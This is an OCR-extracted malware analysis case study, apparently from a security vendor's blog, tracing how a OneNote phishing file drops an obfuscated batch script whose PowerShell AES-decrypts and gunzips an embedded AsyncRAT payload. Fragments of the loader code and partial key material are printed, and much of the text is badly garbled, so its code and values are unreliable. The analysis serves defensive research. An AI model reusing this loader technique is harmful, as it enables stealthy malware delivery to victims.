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Case Study-1: RAT

Starting in December 2022, attackers have been using OneNote files to distribute Remote Access Trojans (RAT)
such as AsyncRAT, Quasar RAT, NetWire, and Xworm. These RATs use complex obfuscation techniques with

OneNote files in order to evade detection by security software.

During the course of the investigation, researchers found the file containing the malicious payload disguised under

the misleading name "PaymentAdv.one".

- Remittance Advice |
‘Tuesday, February7,2023 [ Fakesubject
11:19 PM

Malicious file triggers

Double Click To View File
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Fig.2 - OneNote phishing document

After analyzing the file with OneNoteAnalyzer, researchers uncovered that the attack was carried out by dropping

and executing a batch file called "zoo1.bat".
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Fig.3 - Malicious files extracted from OneNote document

The batch file was obfuscated and contained an encrypted blob at the start, followed by heavily obfuscated

PowerShell code.

B z001.bat E4q4GdL + Royp/eIds
#
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Fig.4 - Obfuscated batch file

By removing the "@echo off" line and adding "echo" to the start of each line in the batch file, researchers were

able to decode the file's activities and log the output as shown in the screenshot below.

t > IrqW=C:\W \v
SAE T t C:\Windows\Sy ROWEA\H t FdrgWes: \K ¥ W t )
nen tsaf C:\Windows\SysWOWE4\WindowsPowersh vl.0\powershell .ex /vy && vell as
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Ibfuscated Powershel
ode
! i function: oJ (A¥) (§¥.5e  §Hpres ;$eLez= :$tRzl-
:§hPkR=c :$Kpb. Salpz_ J :$Zbre=ed : §vhiNw=eJ
unction juehl(3EuOYU, $THILd, $Llygd) (§cdegle [Syst ty.Cryptogsaphy.aes) :iCreate () ; 5cz¢QL Modes=[5 ity.Cryptoc y.CipherMode] : :CAC; §ceQl . Eadding
=[System.Security.Cryptography.PaddingMode] : : PKCST =czeQL y=[Sys r t]:: jukmy ($xWTid) ; §cZeQL g 5wwls 1ve~> gHh QL SprwH 5“ hv. §tRzl
0; stsqﬁs |£_rct;nn X r e

nb ;SCgERV. Disp IJ §cZeQL. | te (§3uU0YV) {SELogX=to:
m 3 ssionMode]

m{, $SuOYU) ; SVIsgusiiew - Ot m. IO, Memoryser
D togX ., Dis
1

. nogem ]$2uO¥Y) . $2bre_ SKpbi ($null, §
;ﬂl.l].l)) Sﬂlpz [ vi B Line) ; $Im = SXWnre( ] .Sul
rt] : : §wkmy (SIVMMS [ ]H 5]:\41045[ ] S$TVNMS[ 1) ; R $nDGxz $m

(7). $atpz(’
R §Esyor §null;

$IVIRS 1:? s:l\mx_.[ 1 SI\nL‘-La[ J) s-u:c-xs_ x
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Fig.5 - Commands executed by “zool.bat.exe”
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The log indicated that the batch file had copied and disguised the malicious program as "zool.bat.exe" in an

attempt to hide its activities.

The Powershell code associated with it was obfuscated and difficult to comprehend, so researchers manually

pretty print to deobfuscate and reformat the file, making it more readable as demonstrated in the screenshot below.

call "z
Swlamy=a.J
SHxpw=aJ °
SelcZ=eJ '
StRzl=eJ °*
ShPkA=aJ
SKpbi=eJ °
Sicyj=eg
SAfpz=eJ '
5Zbro=eJ '
SvhNw=eJ *

Baseb4 encoded

funetion jmPAl (§euo¥U, SrwJTid, SLlygd)
{S5cZeQL=[System.Security.Cryptography.Ass]::Creats () ;
$oZeQL.Mode=[Systen.Security.Cryptography.CipherMads] : :CBC;
ScZeQL.Padding=[8ystem. Security.Cryptography. PaddingMode] : : PRCST

§cEeQL. Rey=[3ystem. Convert] : : Swhkmy (SrwTid) ; —Aes Key stored as 2nd index
ScZeQL.IV=[System. Convert] : : Swkmy (SLlygd) ; / . Aes IV stored as 3rd index
SCgHhV=§aZaQL. §Hxpw () ; F f
StSQRS=5CgHhV. StRzl ($su0¥YU, ", SsuO¥U.Langth) ; i/ /
ScgHhV.Dispose() ;$cZeLl. Dispose () ;StSORS; ) /f JJ’

qup encoded / /
function oxlze (§sud¥U) { .'" j’

SEtog=New-Cbject System.IO.Memory3tream(, S;uOYLI’) / /
System.I0.MemoryStream; f /

t System.IO.Compression| s;npsr_ream SEtogX, f:[u x..amp:%asl.an CompressionMode] : :Decomprass) ;
SPxMoK . capymo:Svlaqul §PxMoK.Dispose () ; 5Etogk. Disposa () ; S\(Isgu msppsa(l $visgu.Tohrray() ;]

Split blob using "\’ / ‘,
function vXyZR($suOYU, $rWJIid) {
{[8ystem.Reflection. Assembly]: SQIA:Zi[b{!tc-[”s,uDWJ 52 re. Spr;t,snun SewWTid) ;)

S¥Mnre=[System.I0.File]: SvhNU([Sysr_?én I0.Path]: $hpu(|sys:em }i;agnas:xcs Process]::$1Cyj () .MainModule . FileName, $null)) .$Afpz([Envirconment]::NewLine) ;
$IVNMS = [§¥nrc[ ] .Substring(2) -SAfp=( ') :

$Zsyor=oxlze (jmPAL [[Convert]: $whnylslm5[ 1) $IU'IIMSI 1 SIVNMS[ 1

$nDGxz=oxlze (jmPAL ([Convert]::Swhkmy (SIVNMS[1])) SIVNMS[ ] SIVNMS[:]):

vXyIR $nDGxz $null;vXyIR §Esyor Smull; © 2023 ThreatLabz

Fig.6 - Obfuscated Powershell code in readable format

After deobfuscation, researchers discovered that the script used base64 encoding to split the encrypted blob seen
in the initial batch file into its actual data, AES key, and index using the backslash character. With these values, the

script was able to decrypt the data and decode it using gzip encoding to reveal the final executable.

GIRTCU TMEE G Re GYBVOTAACANESh T cRALF kNl
aTqyglUaN2g] yukérqwCTaTFXLpMgPs omER Ly

0IKRKCU 06 IUVOFL] T TLANLEYL// VX4 31 €D TpCOnZpF 10438y LN TUKE Mot TRES UL
VeGYugEJER1231 ‘\l?lD“R CHEZ | sHaCNP/ £ y-NP OLE2SInt c4glf Lage Nz uFd

exBAyl+anfMIUTONG4T]6TRM LB inu I kIne SINRCT 43 £ 4 FA1 BOMTANZ dEGENDON] IBDRRL / MLTFATFHe

AISLapaIMART 5 NP SRS Ty P4 JRbS t-,m‘.h;wm.zp;muw.—:m AES key

2dpOURIutdghs? ESNIESS Sekm1. Am;u_..aﬂpm..-lw 00/ WIFOarEigEdLaDV]  DFBgadayvTgSacke i/ nibHekynveMTComel 3q¥A1/BvLEGIEACERveIRQurlnEwl g8 TRgdss PCDMNE+ .

TRIAgHALL I3 Le20nY unfeb. rENS1 5w 30 8T PR Ty TS 0RXERYRTURISES 4 POTOARACE 5080 > 56741 404B5VIET Liel E1beORAHG
DSEEMsERFETAS inzesneiag Ozﬁlg{uk.p.mrrnnuu\,m.l.r-cumﬁhqnomrum )l?unaxynuule_nﬂLqp:!‘ua..uﬁlo_h'.' 512 QRTQY/ FumeT TNDCK 6dBNaVIdshg LK R0=Yx goh ST |3 ASonEY ) KX LARE TOWEOE G TqL jul Opat | OU-jTe |
aeEhdiayRiag g=_|— 6200 TrewatLatie

Fig.7 - AES Key and IV identified in the blob

Now lets the cook the above recipe using Cyberchef and check what does it results:

Page 3 of 4



https://www.zscaler.com /blogs/security-research/onenote-growing-threat-malware-distribution

From Base64

A-Za-z0-9+/=

Remove non-alphabet )
D Strict mode

hars

AES Decrypt

Ker

rgohgYj3jA50SFUjKXrhHEEI. ~ CASEE4~
M7+gcEhdUXgYKimjZRZCcg== BASEGD™
CBC Raw Raw

Gunzip

WELEIFIHNHRczbRVKVFTXk11+IADMIvhoQOE4qj4GdLS2]11PFERXIXRUjrXwXog+xSk3Aoyp/eI9sky
uDumOzgw8ir8ojPVNgoZAI3TOFVPqe69Zc BWEBSKCXYZMH]YxzyGwigeO78QkpDj0S/9GeYOc1+XR/12
cKrfSCApXgRBGECUBKKEWAGrrSE2jg5+NRbEFANRQamTZRCINLF2/7esMgU+jqdHOES@TH7 1kk578vay
LBDPjq++1ShW2WWXu+8N/gpK0ZsPq8hdFIL1ve3DMXSVOTCVPHKk10W2DxK7moJVhUuyi@dvuFaIukCza
YvanoiF1GBTetilto/DN1SgYs7cs2UMV7aludendE@FwShysginvvTKeD@IopCglG/1QntrCRePHINNR
BvvguxaSenecTyzbRkoSoUSRVegT13UbuZRHX@d85Q9LwZznBADTjLDSd9GGR/7iFZIvnNTIBWEGZ5e/
ifIIzFYY2bWecaIwSiEMyhFBoehvOQDQCPMVE / /AygNLPVKZ+LDLdpVkpDeKdk8P1iIfnHdUMaK23Wtp
Zwoloyc57nNSoeKY90T3IiteDPIuS03alZSN+yImeBethInxjXkxmXGPY4WpkGC+uvga/ viv/ nCwlKHY
Lx2Me3KBxXKULAINSby6RE63KBD7YPESYSPMb5QexXyOmzLT7VmIBTQvIwWAB SnOWXOML7ga6gzyNrEX
Vevjo3eTSFWAgZHG2I4rMFaue7MvbQftStLLVAIUXXjvf/85KKAfoyzs90Cvq3FrbsPglXuGjhbPsNWH

L= ZLiT e mal ML =000 Tanaml (D280 5 AWV WemAd f+ T An A (A EE | mEVVANCEO = 2008 =S aned {TUET Thimmal/

time:

o length: 6297 r o

Output £ Ruath: R0 ® H
MZooinennns 75 - o i

LfIThis program cannot be run in DOS mode.
. PE..L wiac. 1 i i S

R T PR P A NP A A, W.

T o ol e By oo i i o B el o . il i &
............... ; (SRR, .. - o8 liiccessrnsasesea.® 2023 ThreatLabz

Fig.8 - Decrypted payload extracted using CyberChef

Similarly we can decode the second blob which will also result in a Portable Executable (PE) file.
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Fig.9 - AgileDotNet Packed AsyncRAT Payload

The resulting file is a .NET File packed with AgileDotNet, which was revealed to contain a malicious AsyncRAT

payload after deobfuscating and unpacking with the .NET Kali Linux tool known as de4dot.
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